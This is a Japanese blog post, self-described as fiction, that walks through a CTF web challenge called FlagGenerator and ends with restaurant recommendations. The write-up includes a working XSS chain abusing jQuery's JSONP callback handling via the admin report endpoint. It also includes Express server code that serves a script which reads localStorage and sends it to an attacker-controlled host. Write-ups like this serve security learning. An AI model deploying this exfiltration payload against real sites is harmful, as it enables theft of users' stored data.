OJICON 2019 Online CTF write-up (FlagGenerator)
まえがき
この記事は、SLP KBIT Advent Calendar 2019 の4日目の記事です。
また、この記事はフィクションです。実在の人物や団体などとは関係ありません。
はじめに
OJICON 2019 Online CTF お疲れさまでした。
私のチーム「鮭の皮だけ食べてい隊」は4人チームで、
結果は18446744073709551615Ptで32767位でした。(去年より人数増えたのかな?)
去年は16384位なので下がってますね(爆)
難問だった「Chicken Crisp Shop」や「I use heavy artillery」は他の人がWriteUPをあげているので、
私は比較的シンプルな問題であった「FlagGenerator」の解説をします。
FlagGenerator (Web 46744000000000000Pt)
問題
出題者は、誰にも予想されないCTFのFLAGを生成するため、自作のFlag生成器を作りました。 せっかくなのでCTFを作りたいみんなのために公開します。 不具合があった場合はすぐに確認します。 この問題では、FLAG生成に使用したキーが答えになります。
WriteUp
まず、問題文とアプリケーションからわかることを簡単にまとめます。 - Webアプリケーション - 任意のキーを入力すると、謎の原理でFlagが生成される。 - 管理者に報告する機能がついており、閲覧される。 - キーは管理者のlocalStorageに保管される。
ココから、全体的な攻撃の方針を決めることができます。
目標
管理者のlocalStorageを取得する。
手法
管理者が閲覧することを利用し、反射型XSS攻撃を行う。
今回、盗むデータがlocalStorageなので、発生させるサイトは何でもいい、というわけには行きません。
localStorageは同一ドメイン内のみでアクセス可能であるためです。
そこで、アプリケーション内でXSS可能な場所を探します。
といっても、今回はページが2つしか存在しないのですぐに見つかります。
view.htmlはURLクエリパラメータを参照し、Ajax通信を行っています。
// view.htmlの一部 (async() => { let url = decodeURIComponent(location.search.split('?key=')[1]); let { key, flag } = await $.getJSON(url); $('#key').text(key); $('#flag').val(flag); })();
$.getJSONにはJSONPに対応するために「callback=?」のようなパラメータを付与したURLを渡すと、
scriptタグとして実行してくれる機能があります。
これで材料は揃いました。次のようなURLを/reportに送ることで、任意のスクリプトを実行させることができます。
[]内はURIEncodeしてください /api/report?url=[http://flaggenerator.m2company.work/view.html?key=[任意のスクリプトへのURL?callback=?]]
図解すると次のようになります。 管理人がこのオムライスを食べるわけです。
任意のスクリプトはCORS可能で有ることが要求されます。私は以下のコードを用意しました。
const Express = require('express'); const app = Express(); const Port = ひみつ; app.get('/code', (req, res, next) => { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); res.send(` (async()=>{ let data = localStorage.getItem('flags'); await fetch('http://ないしょ/log?data='+encodeURIComponent(data)); })(); `) }) app.get('/log', (req, res, next) => { console.log(req.query); }) app.listen(Port);
サーバを起動し、こんな感じにDevToolConsoleで実行してあげれば、localStorageを獲得できます。
await fetch('/api/report?url='+encodeURIComponent('http://flaggenerator.m2company.work/view.html?key=' + encodeURIComponent('http://ひみつ/code?callback=?')))
今回は、キーが答えなので「0JiC0N_FLAG」で正答でした。
あとがき
あれ?こんな問題SECCONでもあったよね?たしかSP...
去年に比べてWeb系問題が増えた印象(というかpwnが減った?去年6問 今年4問)
記事を書いていたらオムライスが食べたくなったので、今度瓦町の「おなじみ」という洋食屋さんに行ってみようと思います。
洋食 おなじみ - 瓦町/洋食 [食べログ]
こないだ行ってきたんですが、オムライスは火金のみの提供で、ありつけませんでした。(下調べ大事ヨ)
しかしながら、タイムランチのミンチカツも美味しかったです。 ソースのコクが最高に好みでした。
瓦町周辺は昼食に適したお店がたくさんあっていいですね。
筆者のおすすめは、「支那そば 讃岐ロック」と「麺処 綿谷」です。
一度訪れてみてはいかがでしょうか。
美味しかったミンチカツ